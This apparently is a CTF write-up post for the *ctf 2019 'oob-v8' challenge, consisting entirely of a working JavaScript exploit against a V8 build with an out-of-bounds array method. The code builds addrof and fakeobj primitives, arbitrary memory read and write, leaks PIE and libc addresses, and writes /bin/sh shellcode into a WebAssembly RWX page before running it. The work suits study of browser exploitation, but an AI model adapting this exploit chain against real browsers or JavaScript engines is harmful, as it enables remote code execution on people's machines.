*ctf 2019 - oob-v8

Posted on Aug 14, 2020
function gc() {
  for (let i = 0; i < 0x10; i++) {
        new ArrayBuffer(0x1000000);
    }
}

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { 
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

function hex(val) {
  return '0x'+ftoi(val).toString(16)
}

gc();

var float_arr = [1.1, 2.2];
var obj = new Uint32Array(0x30);
var obj_arr = [obj];

var float_map = float_arr.oob();
var obj_arr_map = obj_arr.oob();

console.log('[*] float_arr map : '+hex(float_map));
console.log('[*] obj_arr map : '+hex(obj_arr_map));

function addrof(target) {
  obj_arr[0] = target;
  obj_arr.oob(float_map);
  var ret = obj_arr[0];
  obj_arr.oob(obj_arr_map);
  return ret;
}

function fakeobj(addr) {
  float_arr[0] = addr;
  float_arr.oob(obj_arr_map);
  var ret = float_arr[0];
  float_arr.oob(float_map);
  return ret
}

console.log('[*] addrof(obj) : '+hex(addrof(obj)));

var arw_arr = [float_map, 1.1, 2.2, 3.3];

function aar(addr) {
  if (addr % 2n == 0) addr += 1n;
  var aar_addr = ftoi(addrof(arw_arr));
  var aar_obj = fakeobj(itof(aar_addr-0x20n));
  arw_arr[2] = itof(addr-0x10n);
  return aar_obj[0];
}

function aaw_init(addr, val) {
  if (addr % 2n == 0) addr += 1n;
  var aaw_addr = ftoi(addrof(arw_arr))
  var aaw_obj = fakeobj(itof(aaw_addr-0x20n));
  arw_arr[2] = itof(addr-0x10n);
  aaw_obj[0] = itof(val);
}

function aaw(addr, val) {
  var aaw_buf = new ArrayBuffer(8);
  var dataview = new DataView(aaw_buf);
  var aaw_buf_addr = ftoi(addrof(aaw_buf));
  aaw_init(aaw_buf_addr+0x20n, addr);
  dataview.setBigUint64(0, BigInt(val), true);
}

var l1 = aar(ftoi(float_map)+0x30n);
var l2 = aar(ftoi(l1)+0x28n);
var l3 = aar(ftoi(l2)+0x48n);
var pie = ftoi(l3) - 0x2b15a0n;
var memmove_got = pie + 0xd9a398n;
console.log('[*] pie : ' + hex(itof(pie)));

var leak = aar(memmove_got);
var libc = ftoi(leak) - 0x14d9b0n;
console.log('[*] libc : ' + hex(itof(libc)));

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,
  1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
  131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,
  109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var trigger = wasm_instance.exports.main;

var wasm_i_addr = addrof(wasm_instance);
var wasm_rwx = aar(ftoi(wasm_i_addr)+0x88n);
console.log('[*] wasm RWX page : ' + hex(wasm_rwx));

var sc = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
var sc_buf = new ArrayBuffer(0x100);
var dataview = new DataView(sc_buf);
aaw_init(ftoi(addrof(sc_buf))+0x20n, ftoi(wasm_rwx));

for (var i=0; i<sc.length; i++) {
  dataview.setUint32(4*i, sc[i], true);
}
trigger();